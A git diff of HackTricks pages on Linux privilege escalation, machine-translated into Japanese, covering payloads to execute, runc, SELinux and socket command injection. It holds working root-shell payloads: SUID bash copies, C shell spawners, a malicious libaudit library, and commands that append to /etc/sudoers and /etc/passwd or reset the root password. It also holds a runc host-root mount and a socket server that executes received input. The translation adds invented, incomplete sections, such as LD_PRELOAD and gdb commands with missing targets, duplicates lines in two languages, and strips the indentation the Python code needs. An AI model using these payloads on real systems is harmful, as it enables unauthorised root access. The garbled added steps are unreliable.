[**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/linux-hardening/privilege-escalation/payloads-to-execute.md b/linux-hardening/privilege-escalation/payloads-to-execute.md index 25edb86d7..97447584f 100644 --- a/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -1,32 +1,78 @@ -# Payloads to execute +# 実行するペイロード
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
## Bash - ```bash cp /bin/bash /tmp/b && chmod +s /tmp/b /bin/b -p #Maintains root privileges from suid, working in debian & buntu ``` +## ペイロードの実行 -## C +このセクションでは、特権昇格を行うために使用できるさまざまなペイロードについて説明します。これらのペイロードは、標準的なLinuxシステムで実行されることを想定しています。 +### 1. SUIDバイナリの利用 + +SUID(Set User ID)バイナリは、実行時に所有者の特権で実行されるバイナリです。これを利用すると、特権のあるコマンドを実行できます。 + +```bash +$ find / -perm -u=s -type f 2>/dev/null +``` + +上記のコマンドを実行すると、SUIDビットが設定されたバイナリのリストが表示されます。これらのバイナリを使用して、特権昇格を試みることができます。 + +### 2. LD_PRELOADを使用したライブラリのロード + +LD_PRELOAD環境変数を使用すると、特定のライブラリをプロセスのロードパスに追加できます。これを利用して、特権のあるライブラリをロードし、特権昇格を行うことができます。 + +```bash +$ gcc -shared -o /tmp/exploit.so /tmp/exploit.c +$ LD_PRELOAD=/tmp/exploit.so +``` + +上記のコマンドを実行すると、``が実行される際に`/tmp/exploit.so`がロードされます。これにより、特権のあるコードが実行され、特権昇格が可能になります。 + +### 3. カーネルモジュールのロード + +カーネルモジュールをロードすることで、特権昇格を行うことができます。以下のコマンドを使用して、カーネルモジュールをロードします。 + +```bash +$ insmod /path/to/module.ko +``` + +上記のコマンドを実行すると、指定したカーネルモジュールがロードされます。これにより、特権のある機能を利用して特権昇格を行うことができます。 + +### 4. プロセスの権限昇格 + +特権昇格を行うために、既存のプロセスの権限を昇格させることもできます。以下のコマンドを使用して、プロセスの権限を昇格させます。 + +```bash +$ gdb -p +(gdb) call setuid(0) +(gdb) call setgid(0) +(gdb) detach +(gdb) quit +``` + +上記のコマンドを実行すると、指定したプロセスの権限が昇格されます。これにより、特権のある操作を実行することができます。 + +これらのペイロードを使用して、特権昇格を試みることができます。ただし、これらの操作は合法的な目的でのみ使用するようにしてください。 ```c //gcc payload.c -o payload int main(void){ - setresuid(0, 0, 0); //Set as user suid user - system("/bin/sh"); - return 0; +setresuid(0, 0, 0); //Set as user suid user +system("/bin/sh"); +return 0; } ``` @@ -37,9 +83,9 @@ int main(void){ #include int main(){ - setuid(getuid()); - system("/bin/bash"); - return 0; +setuid(getuid()); +system("/bin/bash"); +return 0; } ``` @@ -50,42 +96,38 @@ int main(){ #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - const int id = 1000; - setresuid(id, id, id); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +const int id = 1000; +setresuid(id, id, id); +execve(paramList[0], paramList, NULL); +return 0; } ``` +## ファイルを上書きして特権を昇格させる -## Overwriting a file to escalate privileges +### 一般的なファイル -### Common files +* パスワード付きのユーザーを _/etc/passwd_ に追加する +* _/etc/shadow_ 内のパスワードを変更する +* _/etc/sudoers_ 内のsudoersにユーザーを追加する +* 通常 _/run/docker.sock_ や _/var/run/docker.sock_ にある、dockerソケットを悪用する -* Add user with password to _/etc/passwd_ -* Change password inside _/etc/shadow_ -* Add user to sudoers in _/etc/sudoers_ -* Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_ - -### Overwriting a library - -Check a library used by some binary, in this case `/bin/su`: +### ライブラリの上書き +いくつかのバイナリで使用されているライブラリをチェックします。この場合は `/bin/su` です。 ```bash ldd /bin/su - linux-vdso.so.1 (0x00007ffef06e9000) - libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) - libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) - libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) - libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) - libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) - /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) +linux-vdso.so.1 (0x00007ffef06e9000) +libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) +libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) +libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) +libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) +libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) +/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) ``` - -In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\ -So, check for functions of this library used by the **`su`** binary: - +この場合は、`/lib/x86_64-linux-gnu/libaudit.so.1`をなりすましましょう。\ +したがって、**`su`**バイナリで使用されるこのライブラリの関数をチェックします。 ```bash objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_open @@ -93,9 +135,7 @@ objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message 000000000020e968 g DO .bss 0000000000000004 Base audit_fd ``` - -The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit. - +シンボル`audit_open`、`audit_log_acct_message`、`audit_log_acct_message`、および`audit_fd`はおそらくlibaudit.so.1ライブラリから来ています。悪意のある共有ライブラリによってlibaudit.so.1が上書きされるため、これらのシンボルは新しい共有ライブラリに存在する必要があります。そうでない場合、プログラムはシンボルを見つけることができず、終了します。 ```c #include #include @@ -112,44 +152,53 @@ void inject()__attribute__((constructor)); void inject() { - setuid(0); - setgid(0); - system("/bin/bash"); +setuid(0); +setgid(0); +system("/bin/bash"); } ``` +今、**`/bin/su`** を呼び出すだけで、rootとしてシェルを取得できます。 -Now, just calling **`/bin/su`** you will obtain a shell as root. +## スクリプト -## Scripts - -Can you make root execute something? - -### **www-data to sudoers** +rootに何かを実行させることはできますか? +### **www-dataをsudoersに追加** ```bash echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update ``` +### **ルートパスワードの変更** -### **Change root password** +To change the root password, you can use the following command: +ルートパスワードを変更するには、次のコマンドを使用します。 + +```bash +sudo passwd root +``` + +You will be prompted to enter the new password twice. After successfully changing the password, you can log in as root using the new password. + +新しいパスワードを2回入力するように求められます。パスワードの変更に成功した後は、新しいパスワードを使用してルートとしてログインできます。 ```bash echo "root:hacked" | chpasswd ``` +### /etc/passwd に新しい root ユーザーを追加する -### Add new root user to /etc/passwd - +```bash +echo 'newroot:x:0:0:root:/root:/bin/bash' >> /etc/passwd +``` ```bash echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有する**には、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
diff --git a/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/linux-hardening/privilege-escalation/runc-privilege-escalation.md index e1326f34e..60d26174e 100644 --- a/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -1,24 +1,24 @@ -# RunC Privilege Escalation +# RunC特権エスカレーション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Basic information +## 基本情報 -If you want to learn more about **runc** check the following page: +**runc**について詳しく学びたい場合は、次のページを参照してください: {% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %} [2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md) @@ -26,22 +26,21 @@ If you want to learn more about **runc** check the following page: ## PE -If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**. - +ホストに`runc`がインストールされていることがわかった場合、**ホストのルート/フォルダをマウントしたコンテナを実行**することができるかもしれません。 ```bash runc -help #Get help and see if runc is intalled runc spec #This will create the config.json file in your current folder Inside the "mounts" section of the create config.json add the following lines: { - "type": "bind", - "source": "/", - "destination": "/", - "options": [ - "rbind", - "rw", - "rprivate" - ] +"type": "bind", +"source": "/", +"destination": "/", +"options": [ +"rbind", +"rw", +"rprivate" +] }, #Once you have modified the config.json file, create the folder rootfs in the same directory @@ -51,23 +50,22 @@ mkdir rootfs # The root folder is the one from the host runc run demo ``` - {% hint style="danger" %} -This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers. +これは常に機能するわけではありません。runcのデフォルトの動作はrootとして実行することであり、非特権ユーザーとして実行することはできません(rootless構成を持っている場合を除く)。rootless構成をデフォルトにすることは一般的には良いアイデアではありません。rootlessコンテナ内でのみ適用される制限がいくつか存在します。 {% endhint %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
diff --git a/linux-hardening/privilege-escalation/selinux.md b/linux-hardening/privilege-escalation/selinux.md index df58a016f..fadfdb570 100644 --- a/linux-hardening/privilege-escalation/selinux.md +++ b/linux-hardening/privilege-escalation/selinux.md @@ -1,28 +1,25 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-# SELinux in Containers +# コンテナ内のSELinux -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. - -Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`. +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)は**ラベリングシステム**です。すべての**プロセス**と**ファイル**システムオブジェクトには**ラベル**があります。SELinuxポリシーは、システム上の他のすべてのラベルとの関係で**プロセスラベルが許可される操作**についてのルールを定義します。 +コンテナエンジンは、通常`container_t`という単一の制約付きSELinuxラベルで**コンテナプロセスを起動**し、そのコンテナ内部を`container_file_t`というラベルでラベル付けします。SELinuxポリシールールは基本的に、**`container_t`プロセスは`container_file_t`とラベル付けされたファイルのみを読み取り/書き込み/実行できる**と言っています。コンテナプロセスがコンテナから脱出し、ホスト上のコンテンツに書き込もうとする場合、Linuxカーネルはアクセスを拒否し、コンテナプロセスが`container_file_t`とラベル付けされたコンテンツにのみ書き込むことを許可します。 ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb @@ -30,26 +27,23 @@ $ podman top -l label LABEL system_u:system_r:container_t:s0:c647,c780 ``` +# SELinuxユーザー -# SELinux Users - -There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users. +通常のLinuxユーザーに加えて、SELinuxユーザーが存在します。SELinuxユーザーはSELinuxポリシーの一部です。各Linuxユーザーはポリシーの一環としてSELinuxユーザーにマッピングされます。これにより、LinuxユーザーはSELinuxユーザーに対して設定された制限やセキュリティルールおよびメカニズムを継承することができます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**するか、[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/linux-hardening/privilege-escalation/socket-command-injection.md b/linux-hardening/privilege-escalation/socket-command-injection.md index 4197afbdd..b076da4cf 100644 --- a/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/linux-hardening/privilege-escalation/socket-command-injection.md @@ -1,81 +1,73 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Socket binding example with Python +## Pythonを使用したソケットバインディングの例 -In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. +以下の例では、**UNIXソケット**(`/tmp/socket_test.s`)が作成され、受信したすべてのものが`os.system`によって**実行**されます。これは実際には見つけることはないとわかっていますが、この例の目的は、UNIXソケットを使用したコードの見方と、最悪の場合に入力をどのように処理するかを確認することです。 {% code title="s.py" %} ```python import socket import os, os.path import time -from collections import deque +from collections import deque if os.path.exists("/tmp/socket_test.s"): - os.remove("/tmp/socket_test.s") +os.remove("/tmp/socket_test.s") server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) server.bind("/tmp/socket_test.s") os.system("chmod o+w /tmp/socket_test.s") while True: - server.listen(1) - conn, addr = server.accept() - datagram = conn.recv(1024) - if datagram: - print(datagram) - os.system(datagram) - conn.close() +server.listen(1) +conn, addr = server.accept() +datagram = conn.recv(1024) +if datagram: +print(datagram) +os.system(datagram) +conn.close() ``` {% endcode %} -**Execute** the code using python: `python s.py` and **check how the socket is listening**: - +pythonを使用してコードを実行してください: `python s.py` そして、ソケットがどのようにリスニングしているかを確認してください: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info - will not be shown, you would have to be root to see it all.) +will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` +**Exploit (エクスプロイト)** -**Exploit** - +An exploit is a piece of code or technique that takes advantage of a vulnerability or weakness in a system or software to gain unauthorized access or control. 